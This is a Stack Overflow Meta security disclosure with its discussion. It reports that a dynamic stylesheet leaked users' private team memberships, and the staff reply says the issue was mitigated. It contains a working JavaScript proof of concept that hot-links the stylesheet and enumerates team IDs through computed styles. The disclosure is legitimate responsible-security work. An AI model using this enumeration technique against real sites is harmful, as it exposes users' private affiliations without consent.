127

Membership in a team is generally private/hidden. However, the list of teams you are a member of is leaked to other websites through the dynamic stylesheet served at /teams/theme.css.

theme.css includes selectors/rules for each team you're a part of. The site templates use these selectors to display the team icons on the site. For example, it includes the following rule for my test team, which has ID 10221.

.channel10221.themed-avatar__sm {
    background-image: url('data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsIAAA7CARUoSoAAAAQeSURBVFhH7ZbPa5xFGMfff+A9FGVOQw8jDDiHOQy+8MKyEKMllFKipCkxdEndkqUpJiYpSZrQxmbT5FB/XcV/QEFz8OJBkR496EkQBMGLF/+Lx88zu6ubdreptgWFPPDlnX3emXm/8/z4zhandmr/N7sAjoriBaDPUTi7zPO52RYQO12KmTBiEmjoGEwaKX0hvP8iz3xOdg1I9XEt8VYQv94Qd8NLvOml0a3FT1sl8Eme+QxtGnzUxwMg1fuVhNuVVNtR/JIXvxqk3qvEns8Efh6a3wZPbZ8CKWwpRVlI6QqJ3ShpI0m1ThTaNpOIW0nclBXjSikD82xOx3d5h6e0A+NLSduVuOteUtfrxiOR3nRy/rAh6R5RWXTq+xz8K9Nqf7ePBwWnCUtO3IwRe208ATNVMi+IXfBiLuR0/AQG+8yBJ7Zvwd+bU92uW4m/6iTuhJ6PdBSGcGtadIzPzVipd5PEjSh2tk9U35Wkryh+BU9snznaqnmYpD6oJN2JUu8kCYtRGttJmh/WkvaSNN6rpeJjYT/KxCHjLYpxP0jcbUhYpkZ2K2ns0ynLUQl839t6vE2AhT5+tLWRmiLTSo8bXqoV8koEAuO4nySxadWJ4lqBVgwSNpP4FcjcxLeM7ypr1yC/jn8+p+O3of3fAMftTHHmGx69sAEVmorKbu5x+jucnqqPbU53O0i6X+HjAxAM70BoEzKHGimIEbG45cV1nDTRCm1P184RGMYf4BE78jNsOMeGnNQ0YU315/Yz2lbku//U3Ku/1JajQPOT9lQlLEPfp22oueedmbQQIiqXnVjGfOuX3ieP21G4wulQNg2tVQLHWSu+AndPQE83hmC1O0hlIC3uYi7O0QT8mkVWEZmdmFsK38O4BE6yl3LlD63znFxT5FZoUcb4RhPQ8Nhz4DKKhqq5BSKxQP/P50WKt/LMx9vLIKfKUTOu5cXOUZh82JzjwopmPAEw+BA1QBHem5CKiq93/yqiPfBKHy+CgZVg4G+BfFM2D1BFitIgTOobwskESq5Yt+1pK/QeFRx+14fejAN7DRx7r4WZEK0GGpJaj6wfTUAXGUKk2m8aBj0nZx1CSBrK2K96rfLeJsM33STIYS8r1up69om0aFKNmGW9XlD4cxeNIxBvIDQIToS15+JRcQloQdxE+VBCzz0Qu2lwirfzqp69CsRdofc/QAHXmhI7rEUzlERW0VsUIbemnXtcG9KrfomPb8AaMnoDehUS1KxeYcz7sFONJaD6n+5CdhXyRC4g234dJUWOVcDcIgRmxnfB13aKkM8gueRMLxZPBbvr+PT3PK1JKG3bD1LQ6S3L9joQR5V7Qu5a3JqzVgIybbX3VyHC/wbLda2ixNzf86qH7D744R/gIhiYVv+oOePwJTi1U/svWFH8CW8tVlNqE64wAAAAAElFTkSuQmCC');
    background-color: transparent;
}

Unfortunately, the browser security model doesn't do anything to prevent hot-linking of stylesheets, so it's possible for any web page to include this stylesheet, then test every possible team ID to see which ones are defined for you.

This only leaks the team ID and logo. The team slug, name, and other information is not exposed.

Proof of Concept

This snippet should list all of the teams you are a member of.

<link rel="stylesheet" href="https://stackoverflow.com/teams/theme.css">
<script defer>
var minTeamId = 10001;
var maxTeamIds = 16384;

var iconStub = document.createElement('div');
iconStub.style.visibility = 'hidden';
document.body.appendChild(iconStub);

var any = false;
for (var i = 0; i < maxTeamIds; i++) {
  var teamId = minTeamId + i;
  iconStub.className = `channel${teamId} themed-avatar__xl`;
  var bg = window.getComputedStyle(iconStub).backgroundImage.slice(5, -2);
  if (bg) {
    any = true;
    document.body.appendChild(Object.assign(document.createElement('h1'), {textContent: `Team #${teamId}`}));
    document.body.appendChild(Object.assign(document.createElement('img'), {src: bg, width: '92'}));
  }
}

if (!any) {
  document.body.appendChild(Object.assign(document.createElement('p'), {textContent: `You are not a member of any teams.`}));
}

document.body.removeChild(iconStub);
</script>

For example, I see the following:

a screenshot showing "team #10221" and a logo


severity: low
reported privately: 2018-05-04
disclosed publicly: 2018-06-07
confirmed fixed: 2018-06-07

11
  • 59
    This looks like a good find, particularly because the image is also leaked - but it is common practice to report security leaks in private, and wait until they are fixed before publishing them. Publishing a live leak is considered unethical.
    – Kobi
    Commented Jun 7, 2018 at 6:15
  • 1
    @Kobi shouldn't this be flagged then?
    – Kami Kaze
    Commented Jun 7, 2018 at 6:52
  • 1
    @KamiKaze - That's a good point. I thought about it, but decided to not take it that far before getting some feedback. Feel free to flag.
    – Kobi
    Commented Jun 7, 2018 at 7:06
  • 2
    Flagging is a way of getting feedback though :)
    – ivarni
    Commented Jun 7, 2018 at 7:28
  • 37
    @Kobi while in general that is true, Jeremy is one of the prolific white hat hackers this site has seen (and a former employee) so I reckon he knows what he is doing. In this case, by the looks of it, it leaks information locally in another tab and only when logged in. When you run the above snippet in a private session, nothing is leaked. So there is some but not much harm here but it could indicate a deeper problem that can now be found and fixed by SE devs.
    – rene
    Commented Jun 7, 2018 at 7:34
  • 19
    What rene says. This is arguably not a super hot security problem. If the issue was that SO's admin interface can be accessed with "root" / "password123" Jeremy would very likely have alerted them privately. :)
    – Pekka
    Commented Jun 7, 2018 at 7:41
  • 5
    @rene - I saw this security issue in the "Hot Meta Posts" box, and I didn't know who posted or what they considered. I'd also note that I'm always logged in to Stack Overflow, so potentially any site I visit can see my teams and their icons - this isn't a huge deal, but isn't trivial either (at least while the teams' existence and membership is considered private). Also, you can easily get a Stack Overflow member to click on a link, like I clicked on the link in your comment.
    – Kobi
    Commented Jun 7, 2018 at 8:02
  • 4
    @Kobi I realize now I should have sneaked in a better link there but I'm not enough black hat to pull that off ;) but you're right the attack vector is similar to SO should stop leaking information to other websites about whether we are logged in (<-- trust this link)
    – rene
    Commented Jun 7, 2018 at 8:28
  • 2
    @rene I trust you, I just don't trust the devil inside the links you post.
    – Gimby
    Commented Jun 7, 2018 at 9:52
  • 2
    mitigated in 8 hours SE is definitively not joking with security.
    – Walfrat
    Commented Jun 7, 2018 at 11:09
  • 10
    @Jeremy Do I correctly understand that they sat on a private report of a security bug for a month without acting, then fixed it within 8 hours once you disclosed it publicly? That's not a great look, really.
    – Mark Amery
    Commented Jun 7, 2018 at 14:56

1 Answer 1

48

We've applied a tweak that should mitigate against this, thanks.

enter image description here

when I am in fact a member of several teams (actual names redacted):

enter image description here

15
  • 3
    meta.stackoverflow.com/questions/369143/my-logo-to-add-a-team Why is my icon on the right of the word TEAMS?
    – JonH
    Commented Jun 7, 2018 at 15:01
  • 1
    That turnaround, though.
    – canon
    Commented Jun 7, 2018 at 15:51
  • It broke again.
    – Ferrybig
    Commented Jun 12, 2019 at 8:26
  • @Ferrybig define "it broke again"? it doesn't seem broken to me, so maybe be more specific?
    – Marc Gravell Mod
    Commented Jun 12, 2019 at 8:28
  • @MarcGravell Running the script above in the question still exposes my teams: i.sstatic.net/aU4OW.png (But this only happens when I test it using Firefox, Google chrome doesn't expose this)
    – Ferrybig
    Commented Jun 12, 2019 at 8:30
  • @Ferrybig heh, I tested (today) on Chrome and Edge; will check Firefox
    – Marc Gravell Mod
    Commented Jun 12, 2019 at 8:44
  • @Ferrybig seems fine on 67.0.2/64/win10 - i.sstatic.net/lEPRD.png - what version are you using so I can try to repro?
    – Marc Gravell Mod
    Commented Jun 12, 2019 at 8:53
  • @MarcGravell Firefox Quantum 67.0.1/64-bit/Ubuntu without extensions (disabled all of them, but bug is still there), <s>changing "tracker blocking" doesn't affect this. turning the browser cache off in the Dev tools also doesn't fix this. Would giving you the x-request-guid help you in resolving</s> It seems that the strict privacy settings in my browser send the "refferer" as the root domain, and this is allowing any code from stack snippets to get my teams, as the file is cached after visiting the teams pages atleast once. Probably SE should send a Vary: Referer header to fix this
    – Ferrybig
    Commented Jun 12, 2019 at 9:12
  • Even without referer spoofing turned on in my settings, you can still reproduce this by visiting a teams page, and then using the script on this page to get the information of your teams
    – Ferrybig
    Commented Jun 12, 2019 at 9:14
  • @Ferrybig if you're going to run arbitrary scripts on the site itself, you could just scrape the left-hand bar; that's not a useful scenario, IMO
    – Marc Gravell Mod
    Commented Jun 12, 2019 at 9:21
  • Stack snippets don't have access to the site sidebar, but they have access to the teams you are in using css, that is what this exploit is
    – Ferrybig
    Commented Jun 12, 2019 at 9:22
  • @Ferrybig checking the referrer security setting now, thanks
    – Marc Gravell Mod
    Commented Jun 12, 2019 at 9:25
  • @Ferrybig even with strict security mode enabled, for me FF is sending Referer: https://stacksnippets.net/js - have you got some other setting changed? (I want to be able to repro it so I can have confidence in any mitigation)
    – Marc Gravell Mod
    Commented Jun 12, 2019 at 9:32
  • It seems that having "UMatrix" (a request blocker that works on domain/type basis) installed messes up the technique SE uses to protect this information, it seems like firefox switches to a global cache, instead of a cache per domain. This is a problem because the cache headers send by that css file don't specify the information that it is per domain, this "cache pollution" even stays if you disable all extensions and restart firefox
    – Ferrybig
    Commented Jun 12, 2019 at 10:08
  • @Ferrybig bad plugin is bad? <strike>but: I have a tweak to the Vary header in the pipe - should be out in a few hours</strike> - edit: I had a tweak to the Vary header; it has been un-tweaked, because it looks like that would explode the cache at multiple layers; current position remains: bad plugin is bad
    – Marc Gravell Mod
    Commented Jun 12, 2019 at 10:19

Not the answer you're looking for? Browse other questions tagged .